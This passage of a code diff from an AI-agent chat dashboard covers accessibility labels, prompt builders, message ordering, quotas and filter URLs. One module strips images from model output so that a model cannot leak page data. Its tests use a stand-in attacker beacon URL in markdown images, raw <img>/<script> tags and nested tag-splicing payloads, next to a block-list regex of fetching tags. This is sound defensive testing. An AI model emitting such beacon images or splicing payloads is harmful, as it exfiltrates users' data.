* Structural guard, not behavioural proof: the webapp has no DOM test environment, so nothing
* here computes a real accessible name. It asserts the header asks for the label above rather
* than a constant that would replace the visible title.
*/
describe("the header's history trigger", () => {
const source = readFileSync(new URL("./DashboardAgentHeader.tsx", import.meta.url), "utf8");
it("names itself with the title, not with a bare constant", () => {
expect(source).toContain("aria-label={chatHistoryTriggerLabel(title)}");
expect(source).not.toContain('aria-label="Chat history"');
});
});
@@ -0,0 +1,9 @@
/**
* The chat-history trigger shows the chat's title and opens the history menu, so its accessible
* name has to carry both: speech-input users activate a control by the words they can see, and a
* bare "Chat history" hides them (WCAG 2.5.3). The title leads, because that is what is read.
*/
export function chatHistoryTriggerLabel(title: string): string {
const trimmed = title.trim();
return trimmed ? `${trimmed}, chat history` : "Chat history";
}
@@ -0,0 +1,56 @@
import { describe, expect, it } from "vitest";
import {
errorGroupPrompt,
failedRunPrompt,
isFailedRunStatus,
queueBacklogPrompt,
waitingRunPrompt,
} from "./investigate-prompts";
describe("isFailedRunStatus", () => {
it("is true for failure statuses", () => {
for (const status of [
"COMPLETED_WITH_ERRORS",
"CRASHED",
"SYSTEM_FAILURE",
"TIMED_OUT",
"EXPIRED",
]) {
expect(isFailedRunStatus(status)).toBe(true);
}
});
it("is false for everything else", () => {
for (const status of ["PENDING", "EXECUTING", "COMPLETED_SUCCESSFULLY", "CANCELED", "PAUSED"]) {
expect(isFailedRunStatus(status)).toBe(false);
}
});
});
describe("investigate prompts", () => {
it("names the run that failed", () => {
expect(failedRunPrompt("run_abc")).toBe("Investigate run run_abc — why did it fail?");
});
it("names the queue a waiting run is stuck in, when known", () => {
expect(waitingRunPrompt("run_abc", "emails")).toBe(
"Why is run run_abc waiting to start in the emails queue?"
);
expect(waitingRunPrompt("run_abc")).toBe("Why is run run_abc waiting to start?");
});
it("names the error and its task, when known", () => {
expect(errorGroupPrompt("error_abc", "send-email")).toBe(
"Investigate error error_abc in send-email — what's causing it and is it still happening?"
);
expect(errorGroupPrompt("error_abc")).toBe(
"Investigate error error_abc — what's causing it and is it still happening?"
);
});
it("names the backed-up queue", () => {
expect(queueBacklogPrompt("emails")).toBe(
"Investigate the emails queue — why is it backed up?"
);
});
});
@@ -0,0 +1,47 @@
// Same set as the fresh-failure signal in `suggested-prompts/page-mappers.ts`.
const FAILED_RUN_STATUSES = new Set([
"COMPLETED_WITH_ERRORS",
"CRASHED",
"SYSTEM_FAILURE",
"TIMED_OUT",
"EXPIRED",
]);
export function isFailedRunStatus(status: string): boolean {
return FAILED_RUN_STATUSES.has(status);
}
export function failedRunPrompt(runFriendlyId: string): string {
return `Investigate run ${runFriendlyId} — why did it fail?`;
}
export function waitingRunPrompt(runFriendlyId: string, queueName?: string): string {
return queueName
? `Why is run ${runFriendlyId} waiting to start in the ${queueName} queue?`
: `Why is run ${runFriendlyId} waiting to start?`;
}
export function errorGroupPrompt(errorFriendlyId: string, taskIdentifier?: string): string {
const subject = taskIdentifier
? `error ${errorFriendlyId} in ${taskIdentifier}`
: `error ${errorFriendlyId}`;
return `Investigate ${subject} — what's causing it and is it still happening?`;
}
export function queueBacklogPrompt(queueName: string): string {
return `Investigate the ${queueName} queue — why is it backed up?`;
}
// The name is optional: the test page knows its queue is paused but not what it's called.
export function pausedQueuePrompt(queueName?: string): string {
const subject = queueName ? `The ${queueName} queue` : "The queue this task runs on";
return `${subject} is paused, so nothing new will start on it. What's waiting behind it?`;
}
export function batchFailurePrompt(batchFriendlyId: string, failedRunCount?: number): string {
const scale =
failedRunCount !== undefined && failedRunCount > 0
? `${failedRunCount} of its runs failed`
: "some of its runs failed";
return `Investigate batch ${batchFriendlyId}${scale}. Which ones, and why?`;
}
@@ -0,0 +1,179 @@
import { readFileSync } from "node:fs";
import type { UIMessage } from "@ai-sdk/react";
import { describe, expect, it } from "vitest";
import {
blocksFor,
stripStepParts,
winningInvestigationOccurrences,
} from "./DashboardAgentMessages";
import { reuseWinners, sameOccurrences } from "./investigation-winners";
const source = readFileSync(new URL("./DashboardAgentMessages.tsx", import.meta.url), "utf8");
function recompute(entries: Array<[string, string]>): Map<string, string> {
return new Map(entries.map(([id, occurrence]) => [id, occurrence]));
}
describe("investigation winners identity", () => {
it("reuses the previous map when the winners are unchanged", () => {
const first = recompute([["inv_1", "m1:0"]]);
const second = recompute([["inv_1", "m1:0"]]);
expect(second).not.toBe(first);
expect(reuseWinners(first, second)).toBe(first);
});
it("takes the new map when a winner moves to another occurrence", () => {
const first = recompute([["inv_1", "m1:0"]]);
const moved = recompute([["inv_1", "m2:0"]]);
expect(reuseWinners(first, moved)).toBe(moved);
});
it("takes the new map when an investigation appears", () => {
const first = recompute([["inv_1", "m1:0"]]);
const grown = recompute([
["inv_1", "m1:0"],
["inv_2", "m2:0"],
]);
expect(reuseWinners(first, grown)).toBe(grown);
expect(sameOccurrences(first, grown)).toBe(false);
});
it("has no previous map on the first render", () => {
const only = recompute([["inv_1", "m1:0"]]);
expect(reuseWinners(undefined, only)).toBe(only);
});
it("computes the winners inside a memo and reuses the reference", () => {
expect(source).toMatch(/useMemo\(\(\) => winningInvestigationOccurrences\(messages\)/);
expect(source).toContain("reuseWinners(previous.current, next)");
expect(source).toContain("useInvestigationWinners(stripped)");
expect(source).not.toMatch(/=\s*winningInvestigationOccurrences\(stripped\)/);
});
});
/**
* The turns are memoized on the message object, so a stripped message rebuilt on every
* render defeats the memo for every tool-calling turn at once.
*/
describe("stripped message identity", () => {
function withStepStart(): UIMessage {
return {
id: "m1",
role: "assistant",
parts: [{ type: "step-start" }, { type: "text", text: "hello" }],
} as unknown as UIMessage;
}
it("returns the very same reference when there is nothing to strip", () => {
const plain = { id: "m1", role: "assistant", parts: [{ type: "text", text: "hi" }] };
const message = plain as unknown as UIMessage;
expect(stripStepParts(message)).toBe(message);
});
it("returns the same stripped reference on every later call", () => {
const message = withStepStart();
const first = stripStepParts(message);
expect(first).not.toBe(message);
expect(first.parts).toHaveLength(1);
for (let token = 0; token < 20; token++) {
expect(stripStepParts(message)).toBe(first);
}
});
it("strips a different message to its own reference", () => {
const a = withStepStart();
const b = withStepStart();
expect(stripStepParts(a)).not.toBe(stripStepParts(b));
expect(stripStepParts(a)).toBe(stripStepParts(a));
});
});
/**
* The winner pass runs once per streamed token over the whole transcript, so it must
* not touch report payloads. `output` is a counting getter because a report parse is
* otherwise silent: it returns `null` on a bad payload rather than throwing.
*/
function countingReportPart(vm: unknown) {
let reads = 0;
const part = {
type: "tool-get_report",
state: "output-available",
toolCallId: "toolcall_1",
get output() {
reads++;
return { vm };
},
};
return { part: part as unknown as UIMessage["parts"][number], reads: () => reads };
}
const VALID_VM = {
title: "health",
scope: "prod",
period: "last 1h",
generatedAt: "2026-07-27T10:15:00.000Z",
windowMinutes: 60,
summary: { severity: "ok", statements: [] },
};
describe("the winner pass does not parse report blocks", () => {
it("leaves a report part's payload untouched", () => {
const valid = countingReportPart(VALID_VM);
// Would fail `reportBlockSchema`: no `generatedAt`, no `windowMinutes`.
const invalid = countingReportPart({ title: "health" });
const messages = [
{ id: "m1", role: "assistant", parts: [valid.part, invalid.part] },
] as unknown as UIMessage[];
let winners: Map<string, string> | undefined;
expect(() => (winners = winningInvestigationOccurrences(messages))).not.toThrow();
expect(winners!.size).toBe(0);
expect(valid.reads()).toBe(0);
expect(invalid.reads()).toBe(0);
});
it("still parses the same part when the turn renders it", () => {
const valid = countingReportPart(VALID_VM);
const blocks = blocksFor(valid.part);
expect(valid.reads()).toBeGreaterThan(0);
expect(blocks).toHaveLength(1);
expect((blocks![0] as { type: string }).type).toBe("report");
});
it("still finds investigation winners emitted by the view tools", () => {
const messages = [
{
id: "m1",
role: "assistant",
parts: [
countingReportPart(VALID_VM).part,
{
type: "tool-render_view",
output: { blocks: [{ type: "investigation", id: "inv_1", revision: 0 }] },
},
],
},
{
id: "m2",
role: "assistant",
parts: [
{
type: "data-view",
data: { blocks: [{ type: "investigation", id: "inv_1", revision: 1 }] },
},
],
},
] as unknown as UIMessage[];
expect(winningInvestigationOccurrences(messages)).toEqual(new Map([["inv_1", "m2:0"]]));
});
});
@@ -0,0 +1,14 @@
export function sameOccurrences(a: Map<string, string>, b: Map<string, string>): boolean {
if (a.size !== b.size) return false;
for (const [id, occurrence] of a) {
if (b.get(id) !== occurrence) return false;
}
return true;
}
export function reuseWinners(
previous: Map<string, string> | undefined,
next: Map<string, string>
): Map<string, string> {
return previous && sameOccurrences(previous, next) ? previous : next;
}
@@ -0,0 +1,74 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import {
forgetLastChat,
lastChatStorageKey,
readLastChat,
shouldPersistLastChat,
writeLastChat,
} from "./last-chat-storage";
const ORG_A = "org_a";
const ORG_B = "org_b";
const KEY_A = lastChatStorageKey(ORG_A);
const KEY_B = lastChatStorageKey(ORG_B);
const chatOfA = { chatId: "chat_a1", organizationId: ORG_A };
let store: Map<string, string>;
beforeEach(() => {
store = new Map();
vi.stubGlobal("window", {
localStorage: {
getItem: (key: string) => store.get(key) ?? null,
setItem: (key: string, value: string) => void store.set(key, value),
removeItem: (key: string) => void store.delete(key),
},
});
});
afterEach(() => {
vi.unstubAllGlobals();
});
describe("shouldPersistLastChat", () => {
it("persists a chat under its own org", () => {
expect(shouldPersistLastChat(chatOfA, ORG_A)).toBe(true);
});
// The org-reset effect clears `active` in a later flush, so the persistence effect runs
// once with the previous org's chat and the new org's key.
it("does not persist the previous org's chat once the org has switched", () => {
expect(shouldPersistLastChat(chatOfA, ORG_B)).toBe(false);
});
it("persists nothing when there is no chat", () => {
expect(shouldPersistLastChat(null, ORG_A)).toBe(false);
});
});
describe("last chat storage across an org switch", () => {
it("leaves the new org's key untouched when the panel still holds the old org's chat", () => {
writeLastChat(KEY_A, { chatId: chatOfA.chatId, path: "/orgs/a/runs" });
if (shouldPersistLastChat(chatOfA, ORG_B)) {
writeLastChat(KEY_B, { chatId: chatOfA.chatId, path: "/orgs/b/runs" });
}
expect(readLastChat(KEY_B)).toBeNull();
expect(readLastChat(KEY_A)).toEqual({ chatId: chatOfA.chatId, path: "/orgs/a/runs" });
});
it("forgets a pointer to a chat that is gone", () => {
writeLastChat(KEY_A, { chatId: chatOfA.chatId, path: "/orgs/a/runs" });
forgetLastChat(KEY_A);
expect(readLastChat(KEY_A)).toBeNull();
expect(store.has(KEY_A)).toBe(false);
});
it("ignores a pre-path entry that was just the chat id", () => {
store.set(KEY_A, "chat_a1");
expect(readLastChat(KEY_A)).toBeNull();
});
});
@@ -0,0 +1,45 @@
export const lastChatStorageKey = (organizationId: string) =>
`tdev:dashboard-agent:last-chat:${organizationId}`;
export function readLastChat(storageKey: string): { chatId: string; path: string } | null {
if (typeof window === "undefined") return null;
try {
const raw = window.localStorage.getItem(storageKey);
if (!raw) return null;
// Pre-path entries were the bare chat id: no page to match, so start fresh.
if (!raw.startsWith("{")) return null;
const parsed = JSON.parse(raw) as { chatId?: string; path?: string };
return parsed.chatId && parsed.path ? { chatId: parsed.chatId, path: parsed.path } : null;
} catch {
return null;
}
}
export function writeLastChat(storageKey: string, entry: { chatId: string; path: string }) {
if (typeof window === "undefined") return;
try {
window.localStorage.setItem(storageKey, JSON.stringify(entry));
} catch {
/* ignore */
}
}
export function forgetLastChat(storageKey: string) {
if (typeof window === "undefined") return;
try {
window.localStorage.removeItem(storageKey);
} catch {
/* ignore */
}
}
/**
* The chat's own org, never the panel's: an org switch re-keys the storage entry in the same
* effect flush that still holds the previous org's chat, which would file it under the new key.
*/
export function shouldPersistLastChat<T extends { chatId: string; organizationId: string }>(
active: T | null | undefined,
organizationId: string
): active is T {
return Boolean(active?.chatId) && active?.organizationId === organizationId;
}
@@ -0,0 +1,79 @@
import type { ComponentType, ReactNode } from "react";
import { cn } from "~/utils/cn";
// Rows are `<li>`, so the wrapper must stay a list element.
export function AgentList({ children, className }: { children: ReactNode; className?: string }) {
return <ol className={cn("flex w-full flex-col gap-1.5", className)}>{children}</ol>;
}
export type AgentListRowVariant = "default" | "promoted" | "selected";
const ROW_VARIANTS: Record<AgentListRowVariant, string> = {
default:
"border-grid-bright bg-background-bright/40 text-text-dimmed hover:border-border-bright hover:text-text-bright",
promoted: "border-indigo-500/40 bg-indigo-500/5 text-text-bright hover:border-indigo-500/60",
selected: "border-border-bright bg-background-bright text-text-bright",
};
export function AgentListRow({
label,
meta,
status,
variant = "default",
onSelect,
action,
}: {
label: ReactNode;
meta?: ReactNode;
status?: ReactNode;
variant?: AgentListRowVariant;
onSelect: () => void;
/** Use {@link AgentListRowAction}. */
action?: ReactNode;
}) {
return (
<li className="group flex items-center gap-1">
<button
type="button"
onClick={onSelect}
className={cn(
"flex min-w-0 flex-1 items-center gap-2 rounded-md border px-3 py-2 text-left text-sm outline-hidden transition focus-custom",
ROW_VARIANTS[variant]
)}
>
{status ? (
<span className="flex w-4 shrink-0 items-center justify-center">{status}</span>
) : null}
<span className="line-clamp-1 min-w-0 flex-1">{label}</span>
{meta ? <span className="shrink-0 text-xs text-text-faint">{meta}</span> : null}
</button>
{action}
</li>
);
}
export function AgentListRowAction({
icon: Icon,
label,
onClick,
danger = false,
}: {
icon: ComponentType<{ className?: string }>;
label: string;
onClick: () => void;
danger?: boolean;
}) {
return (
<button
type="button"
aria-label={label}
onClick={onClick}
className={cn(
"shrink-0 rounded p-1 text-text-faint opacity-0 transition-opacity group-hover:opacity-100 group-focus-within:opacity-100 focus-visible:opacity-100 focus-custom",
danger ? "hover:text-error" : "hover:text-text-bright"
)}
>
<Icon className="size-3.5" />
</button>
);
}
@@ -1,3 +1,4 @@
import { readFileSync } from "node:fs";
import { describe, expect, it } from "vitest";
import {
checkMessageParts,
@@ -6,6 +7,10 @@ import {
MAX_MESSAGE_BODY_BYTES,
MAX_MESSAGE_CHARS,
MAX_MESSAGE_PARTS,
MESSAGE_ANNOUNCE_STEP,
MESSAGE_CHARS_WARN_AT,
MESSAGE_LIMIT_REACHED_ANNOUNCEMENT,
messageCountAnnouncement,
} from "./message-limits";
describe("message limits", () => {
@@ -61,3 +66,73 @@ describe("message limits", () => {
expect(exceedsMessageBodyBytes(null)).toBe(false);
});
});
describe("messageCountAnnouncement", () => {
it("says nothing at all for a normal message", () => {
expect(messageCountAnnouncement(0)).toBe("");
expect(messageCountAnnouncement(MESSAGE_CHARS_WARN_AT - 1)).toBe("");
});
it("speaks up on reaching the warning point, and again on the limit", () => {
expect(messageCountAnnouncement(MESSAGE_CHARS_WARN_AT)).toBe(
`${MAX_MESSAGE_CHARS - MESSAGE_CHARS_WARN_AT} characters left`
);
expect(messageCountAnnouncement(MAX_MESSAGE_CHARS)).toBe(MESSAGE_LIMIT_REACHED_ANNOUNCEMENT);
});
it("changes rarely enough to be worth listening to", () => {
const spoken = new Set<string>();
let changes = 0;
let previous = messageCountAnnouncement(MESSAGE_CHARS_WARN_AT - 1);
for (let length = MESSAGE_CHARS_WARN_AT - 1; length <= MAX_MESSAGE_CHARS; length++) {
const announcement = messageCountAnnouncement(length);
if (announcement !== previous) changes++;
previous = announcement;
if (announcement) spoken.add(announcement);
}
// One per step across the warning band, plus the limit itself.
const expected = (MAX_MESSAGE_CHARS - MESSAGE_CHARS_WARN_AT) / MESSAGE_ANNOUNCE_STEP + 1;
expect(spoken.size).toBe(expected);
expect(changes).toBe(expected);
expect(spoken).toContain(MESSAGE_LIMIT_REACHED_ANNOUNCEMENT);
});
it("steps down through the band in order", () => {
// Typing one character can only ever move the announcement forward.
const seen: string[] = [];
for (let length = MESSAGE_CHARS_WARN_AT; length <= MAX_MESSAGE_CHARS; length++) {
const announcement = messageCountAnnouncement(length);
if (seen.at(-1) !== announcement) seen.push(announcement);
}
expect(seen).toEqual([
"800 characters left",
"600 characters left",
"400 characters left",
"200 characters left",
MESSAGE_LIMIT_REACHED_ANNOUNCEMENT,
]);
});
});
/**
* Structural guard, not behavioural proof: the webapp has no DOM test environment, so nothing
* here mounts the composer or listens to a screen reader. It asserts the live region is written
* unconditionally, which is the part the announcement depends on.
*/
describe("the composer's live region", () => {
const source = readFileSync(new URL("./DashboardAgentComposer.tsx", import.meta.url), "utf8");
it("is in the DOM before the count reaches the warning point", () => {
const region = source.slice(source.indexOf('aria-live="polite"'));
expect(region).toContain("messageCountAnnouncement(value.length)");
// The old form: the region itself only existed past the threshold.
expect(source).not.toMatch(/MESSAGE_CHARS_WARN_AT \? \(\s*<p[^>]*aria-live/);
});
it("does not read the visible counter out a second time", () => {
expect(source).toContain("aria-hidden");
});
});
@@ -10,6 +10,30 @@ export const MAX_MESSAGE_CHARS = 8_000;
/** The counter only shows near the limit, so a normal message never sees it. */
export const MESSAGE_CHARS_WARN_AT = Math.floor(MAX_MESSAGE_CHARS * 0.9);
/** The live region rounds the remaining characters up to this, so it speaks in steps. */
export const MESSAGE_ANNOUNCE_STEP = 200;
export const MESSAGE_LIMIT_REACHED_ANNOUNCEMENT = "Message limit reached";
/**
* What the composer's live region says at this length: empty until the counter is worth
* showing. The region itself stays mounted whatever this returns several screen readers only
* announce changes to a region that was already in the DOM.
*
* A live count would be read out once per keystroke, so this steps instead: four announcements
* between the warning point and the limit, and one more on reaching it. The exact count stays in
* the visible counter.
*/
export function messageCountAnnouncement(length: number): string {
if (length < MESSAGE_CHARS_WARN_AT) return "";
const remaining = Math.max(MAX_MESSAGE_CHARS - length, 0);
if (remaining === 0) return MESSAGE_LIMIT_REACHED_ANNOUNCEMENT;
const step = Math.ceil(remaining / MESSAGE_ANNOUNCE_STEP) * MESSAGE_ANNOUNCE_STEP;
return `${step} characters left`;
}
/** A composed message is a handful of parts; dozens means something is wrong. */
export const MAX_MESSAGE_PARTS = 20;
@@ -0,0 +1,53 @@
import { describe, expect, it } from "vitest";
import { createTranscriptOrder, orderTranscript } from "./message-order";
const message = (id: string, parts = 1) => ({
id,
parts: Array.from({ length: parts }, () => ({ type: "text" })),
});
describe("orderTranscript", () => {
it("keeps the stored order and appends live messages after it", () => {
const base = [message("a"), message("b")];
const order = createTranscriptOrder(base);
const result = orderTranscript([...base, message("live-1"), message("live-2")], order);
expect(result.map((m) => m.id)).toEqual(["a", "b", "live-1", "live-2"]);
});
it("puts a replayed stored turn back in its own slot, not after a live message", () => {
const base = [message("a"), message("b")];
const order = createTranscriptOrder(base);
const result = orderTranscript([...base, message("sent"), message("b", 2)], order);
expect(result.map((m) => m.id)).toEqual(["a", "b", "sent"]);
expect(result[1]!.parts).toHaveLength(2);
});
it("keeps live arrival order stable as later renders add messages", () => {
const order = createTranscriptOrder([message("a")]);
orderTranscript([message("a"), message("x")], order);
const result = orderTranscript([message("a"), message("y"), message("x")], order);
expect(result.map((m) => m.id)).toEqual(["a", "x", "y"]);
});
it("prefers the copy with parts while a duplicate is still empty", () => {
const order = createTranscriptOrder([]);
const result = orderTranscript([message("a", 3), message("a", 0)], order);
expect(result).toHaveLength(1);
expect(result[0]!.parts).toHaveLength(3);
});
it("is a no-op for a transcript with nothing to reorder", () => {
const messages = [message("a"), message("b"), message("c")];
const order = createTranscriptOrder(messages);
expect(orderTranscript(messages, order).map((m) => m.id)).toEqual(["a", "b", "c"]);
});
});
@@ -0,0 +1,49 @@
// Ordering is keyed by message id, so a turn the stream replays lands back in its
// own slot rather than after a message sent locally since.
export type TranscriptOrder = {
base: Map<string, number>;
live: Map<string, number>;
};
export function createTranscriptOrder(base: ReadonlyArray<{ id: string }>): TranscriptOrder {
return {
base: new Map(base.map((message, index) => [message.id, index])),
live: new Map(),
};
}
type Orderable = { id: string; parts?: ReadonlyArray<unknown> };
// Mutates `order.live`, so the order object must be long-lived (a ref).
export function orderTranscript<T extends Orderable>(
messages: ReadonlyArray<T>,
order: TranscriptOrder
): T[] {
const chosen = new Map<string, T>();
for (const message of messages) {
if (!order.base.has(message.id) && !order.live.has(message.id)) {
order.live.set(message.id, order.live.size);
}
const existing = chosen.get(message.id);
// The later (streamed) copy wins, unless it has no parts yet.
if (existing && partCount(message) === 0 && partCount(existing) > 0) continue;
chosen.set(message.id, message);
}
return [...chosen.values()]
.map((message, arrival) => ({ message, arrival, rank: rankOf(message.id, order) }))
.sort((a, b) => a.rank - b.rank || a.arrival - b.arrival)
.map((entry) => entry.message);
}
function partCount(message: Orderable): number {
return message.parts?.length ?? 0;
}
function rankOf(id: string, order: TranscriptOrder): number {
const base = order.base.get(id);
if (base !== undefined) return base;
return order.base.size + (order.live.get(id) ?? 0);
}
@@ -0,0 +1,57 @@
import { describe, expect, it } from "vitest";
import { countUserMessages, FREE_PLAN_MESSAGE_LIMIT, resolveMessageQuota } from "./message-quota";
describe("resolveMessageQuota", () => {
it("caps a Free plan at the limit", () => {
expect(resolveMessageQuota({ isFreePlan: true, used: 0 })).toEqual({
kind: "within",
used: 0,
limit: FREE_PLAN_MESSAGE_LIMIT,
remaining: FREE_PLAN_MESSAGE_LIMIT,
});
expect(
resolveMessageQuota({ isFreePlan: true, used: FREE_PLAN_MESSAGE_LIMIT - 1 })
).toMatchObject({ kind: "within", remaining: 1 });
expect(resolveMessageQuota({ isFreePlan: true, used: FREE_PLAN_MESSAGE_LIMIT })).toMatchObject({
kind: "reached",
});
});
it("never reports negative remaining once past the limit", () => {
expect(resolveMessageQuota({ isFreePlan: true, used: 999 })).toEqual({
kind: "reached",
used: 999,
limit: FREE_PLAN_MESSAGE_LIMIT,
});
});
it("does not cap a paid plan", () => {
expect(resolveMessageQuota({ isFreePlan: false, used: 999 })).toEqual({ kind: "unlimited" });
});
it("fails open when the plan is unknown", () => {
expect(resolveMessageQuota({ isFreePlan: undefined, used: 999 })).toEqual({
kind: "unlimited",
});
});
it("fails open when the count hasn't arrived", () => {
expect(resolveMessageQuota({ isFreePlan: true, used: undefined })).toEqual({
kind: "unlimited",
});
});
});
describe("countUserMessages", () => {
it("counts only what the user sent", () => {
expect(
countUserMessages([
{ role: "user" },
{ role: "assistant" },
{ role: "user" },
{ role: "system" },
])
).toBe(2);
expect(countUserMessages([])).toBe(0);
});
});
@@ -0,0 +1,30 @@
// Counted per user across their chats in the org, not per chat, which "New chat"
// would reset.
export const FREE_PLAN_MESSAGE_LIMIT = 20;
export type MessageQuota =
| { kind: "unlimited" }
| { kind: "within"; used: number; limit: number; remaining: number }
| { kind: "reached"; used: number; limit: number };
// Fails open: the cap is a nudge, not a security boundary, so an unknown plan or
// count means no cap.
export function resolveMessageQuota({
isFreePlan,
used,
limit = FREE_PLAN_MESSAGE_LIMIT,
}: {
isFreePlan: boolean | undefined;
used: number | undefined;
limit?: number;
}): MessageQuota {
if (isFreePlan !== true || used === undefined) return { kind: "unlimited" };
const remaining = Math.max(0, limit - used);
return remaining === 0
? { kind: "reached", used, limit }
: { kind: "within", used, limit, remaining };
}
export function countUserMessages(messages: { role: string }[]): number {
return messages.reduce((total, message) => (message.role === "user" ? total + 1 : total), 0);
}
@@ -0,0 +1,72 @@
import { createElement } from "react";
import { renderToStaticMarkup } from "react-dom/server";
import { Streamdown } from "streamdown";
import { describe, expect, it } from "vitest";
import { stripModelImages } from "./model-markdown";
const BEACON = "https://attacker.example/collect?session=abc";
function render(markdown: string): string {
return renderToStaticMarkup(createElement(Streamdown as never, { children: markdown } as never));
}
describe("stripModelImages", () => {
it("renders no fetching element for an inline remote image", () => {
const html = render(stripModelImages(`Here you go: ![](${BEACON})`));
expect(html).not.toMatch(/<img\b/i);
expect(html).not.toContain("attacker.example");
});
it("renders no fetching element for a reference-style remote image", () => {
const markdown = `Look: ![chart][beacon]\n\n[beacon]: ${BEACON}\n`;
const stripped = stripModelImages(markdown);
expect(stripped).not.toContain("![");
const html = render(stripped);
expect(html).not.toMatch(/<img\b/i);
});
it("renders no fetching element for a raw <img> tag", () => {
const html = render(stripModelImages(`<img src="${BEACON}">`));
expect(html).not.toMatch(/<img\b/i);
expect(html).not.toContain("attacker.example");
});
it("strips a nested tag, which one pass would splice back into a whole one", () => {
expect(stripModelImages(`<im<img src="${BEACON}">g src="${BEACON}">`)).not.toContain(
"attacker.example"
);
expect(stripModelImages("<scr<script>ipt>")).toBe("");
});
it("bails out safely on nesting too deep to unwrap, instead of looping on it", () => {
// Each layer needs one more pass, so this is the shape that makes the strip quadratic.
let nested = `<script src="${BEACON}">`;
for (let i = 0; i < 20_000; i++) nested = `<scr${nested}ipt>`;
const started = performance.now();
const stripped = stripModelImages(nested);
const elapsed = performance.now() - started;
// No bracket survives, so nothing can parse as an element — the URL is left as inert prose.
expect(stripped).not.toContain("<script");
expect(stripped).not.toContain("<");
expect(render(stripped)).not.toMatch(/<script\b/i);
expect(elapsed).toBeLessThan(1_000);
});
it("strips an image hidden inside a code fence", () => {
const stripped = stripModelImages(`\`\`\`\n![](${BEACON})\n\`\`\``);
expect(stripped).not.toContain("attacker.example");
});
it("keeps the alt text as prose", () => {
expect(stripModelImages(`See ![the run graph](${BEACON}) above.`)).toBe(
"See the run graph above."
);
});
it("leaves ordinary markdown, including links, untouched", () => {
const markdown = "**bold** and [a run](https://cloud.trigger.dev/runs/1)";
expect(stripModelImages(markdown)).toBe(markdown);
});
});
@@ -0,0 +1,45 @@
// No model-supplied image is rendered at all: the browser fetches the URL on render, so any
// URL the model controls exfiltrates the page. Alt text is re-emitted as plain prose.
const MARKDOWN_IMAGE = /!\[([^\]]*)\]\s*(?:\([^)]*\)|\[[^\]]*\])/g;
const MARKDOWN_SHORTCUT_IMAGE = /!\[([^\]]*)\]/g;
// Closing bracket optional: an unterminated tag still parses as an element in the browser.
const FETCHING_TAG =
/<\s*\/?\s*(?:img|image|picture|source|srcset|svg|use|embed|object|iframe|frame|video|audio|track|link|input|script|style|base)\b[^>]*>?/gi;
function plainAlt(alt: string): string {
return alt.replace(/[![\]<>`]/g, "").trim();
}
/**
* One pass isn't enough: removing a match can splice the surrounding text into a fresh one
* (`<scr<script>ipt>`), so repeat until nothing changes. Nesting deep enough to need more than
* `MAX_PASSES` is adversarial, not real model output, and looping it out is quadratic on the
* render thread so past the bound we stop and blunt every character the strips key on. The
* result is over-stripped, never half-stripped.
*/
const MAX_PASSES = 25;
const STRIP_CHARS = /[![\]<>]/g;
function replaceUntilStable(
text: string,
pattern: RegExp,
replacer: (whole: string, ...groups: string[]) => string
): string {
let current = text;
for (let pass = 0; pass < MAX_PASSES; pass++) {
const next = current.replace(pattern, replacer);
if (next === current) return current;
current = next;
}
return current.replace(STRIP_CHARS, "");
}
// Strips inside code fences too: a fence-aware pass is bypassable with a half-fence.
export function stripModelImages(text: string): string {
let out = replaceUntilStable(text, MARKDOWN_IMAGE, (_whole, alt: string) => plainAlt(alt));
out = replaceUntilStable(out, MARKDOWN_SHORTCUT_IMAGE, (_whole, alt: string) => plainAlt(alt));
return replaceUntilStable(out, FETCHING_TAG, () => "");
}
@@ -0,0 +1,151 @@
import { describe, expect, it } from "vitest";
import { getRunFiltersFromSearchParams } from "~/components/runs/v3/RunFilters";
import { appendRunFilters, navigateDestination, sameOriginPath } from "./navigate-target";
const RUNS_PATH = "/orgs/acme/projects/api/env/prod/runs";
const FAILING = [
"COMPLETED_WITH_ERRORS",
"SYSTEM_FAILURE",
"CRASHED",
"EXPIRED",
"TIMED_OUT",
"INTERRUPTED",
];
/** What the runs page makes of a URL this module produced. */
function pageReads(path: string) {
return getRunFiltersFromSearchParams(
new URLSearchParams(new URL(path, "https://x.invalid").search)
);
}
describe("appendRunFilters", () => {
it("returns the path untouched with no filters", () => {
expect(appendRunFilters(RUNS_PATH)).toBe(RUNS_PATH);
});
it("writes arrays as repeated params and keeps existing ones", () => {
const result = appendRunFilters(`${RUNS_PATH}?query=payments`, {
statuses: ["COMPLETED_WITH_ERRORS", "CRASHED"],
tasks: "send-email",
period: "1d",
});
expect(result).toBe(
`${RUNS_PATH}?query=payments&statuses=COMPLETED_WITH_ERRORS&statuses=CRASHED&tasks=send-email&period=1d`
);
});
it("converts absolute bounds to epoch milliseconds", () => {
const result = appendRunFilters(RUNS_PATH, { from: "2026-01-01T00:00:00.000Z" });
expect(result).toBe(`${RUNS_PATH}?from=${Date.parse("2026-01-01T00:00:00.000Z")}`);
});
it("drops empty values and false booleans", () => {
expect(appendRunFilters(RUNS_PATH, { search: "", rootOnly: false, tags: [] })).toBe(RUNS_PATH);
expect(appendRunFilters(RUNS_PATH, { rootOnly: true })).toBe(`${RUNS_PATH}?rootOnly=true`);
});
it("expands FAILED into the statuses the page calls failures", () => {
const result = appendRunFilters(RUNS_PATH, { statuses: ["FAILED"], period: "1d" });
expect(pageReads(result)).toEqual({ statuses: FAILING, period: "1d" });
});
it("takes the status the user said, however they cased it", () => {
expect(pageReads(appendRunFilters(RUNS_PATH, { statuses: "failed" }))).toEqual({
statuses: FAILING,
});
});
it("passes a page-native status through untranslated", () => {
const result = appendRunFilters(RUNS_PATH, { statuses: ["COMPLETED_SUCCESSFULLY"] });
expect(result).toBe(`${RUNS_PATH}?statuses=COMPLETED_SUCCESSFULLY`);
expect(pageReads(result)).toEqual({ statuses: ["COMPLETED_SUCCESSFULLY"] });
});
it("translates the other API status names the model borrows", () => {
expect(pageReads(appendRunFilters(RUNS_PATH, { statuses: ["QUEUED", "COMPLETED"] }))).toEqual({
statuses: ["PENDING", "COMPLETED_SUCCESSFULLY"],
});
});
it("drops a status the page cannot parse rather than losing every filter with it", () => {
const result = appendRunFilters(RUNS_PATH, { statuses: ["NONSENSE"], period: "1d" });
expect(result).toBe(`${RUNS_PATH}?period=1d`);
expect(pageReads(result)).toEqual({ period: "1d" });
});
// The page's parser has no `search`, and an unread param is only noise in the URL.
it("leaves search out of the URL", () => {
expect(appendRunFilters(RUNS_PATH, { search: "boom", period: "1d" })).toBe(
`${RUNS_PATH}?period=1d`
);
});
// Control: the untranslated URL is what the live failure looked like. One status the
// page cannot parse and it discards everything, the period included.
